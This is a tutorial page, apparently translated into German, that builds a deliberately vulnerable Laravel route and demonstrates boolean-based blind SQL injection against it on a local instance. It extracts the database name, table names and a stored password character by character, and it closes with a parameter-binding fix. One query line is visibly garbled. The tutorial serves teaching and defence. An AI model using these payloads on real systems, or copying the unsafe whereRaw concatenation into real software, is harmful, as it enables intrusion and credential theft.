Heim > PHP-Framework > Laravel > Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen

Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen

WBOY
Freigeben: 2022-07-27 10:57:33
nach vorne
2517 Leute haben es durchsucht

Dieser Artikel bringt Ihnen relevantes Wissen über laravel, in dem hauptsächlich erläutert wird, wie das Prinzip der SQL-Blindinjektion durch die Erstellung einer Laravel-Schwachstelle erläutert wird. Werfen wir einen Blick darauf. Ich hoffe, es wird für alle hilfreich sein.

Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen

【Verwandte Empfehlung: Laravel-Video-Tutorial

Umgebung

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
Nach dem Login kopieren

Erstellen einer Schwachstelle

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id
Nach dem Login kopieren

Testen

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh
Nach dem Login kopieren

Schritte

Datenbankname

Erraten Sie den Datennamen Länge

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去
Nach dem Login kopieren

Erraten Sie den Datenbanknamen

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度
Nach dem Login kopieren

Zum Schluss: laravel_project

Tabellenname

Die folgenden Schritte ähneln dem Erraten der Datenbank, daher halte ich es einfach.

Informationsschema

Informationsschema wird mit MySQL geliefert.

Der Datenbankname, der Tabellenname, der Spaltentyp usw. werden vermutlich alle aus dieser Datenbank stammen.

Erraten Sie die Anzahl der Tabellen in laravel_project

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+
Nach dem Login kopieren

Erraten Sie die Länge des ersten Tabellennamens

Es ist nicht viel mehr als [erraten Sie die Länge des Datennamens].

Erraten Sie den ersten Tabellennamen.

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第
Nach dem Login kopieren
.

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数
Nach dem Login kopieren

Erraten Sie die Daten

Daten Das ist das Wichtigste.

Da failed_jobs keine Daten enthält, habe ich sie in „Benutzer“ geändert.

Benutzer haben ein Passwortfeld.

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注
Nach dem Login kopieren

...

Verteidigung

(Manchmal wird wo die Anforderungen nicht erfüllt, man braucht woRaw)

Denken Sie bei Bedarf einfach daran, es zu binden.

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});
Nach dem Login kopieren
Solange Sie das Framework sicher nutzen, wird es keine Lücken geben.

Diese alten Projekte sind voller Schlupflöcher.

Heutzutage ist es schwierig, Lücken zu finden.

Ps

Der Einfachheit halber wird oben die einfachste Suche verwendet.

Manuelle Blindinjektion sollte eine binäre Suche verwenden.

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;
Nach dem Login kopieren
Am besten direkt mit dem Tool sqlmap scannen. 【Verwandte Empfehlung:

Laravel-Video-Tutorial

Das obige ist der detaillierte Inhalt vonAnalysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:learnku.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage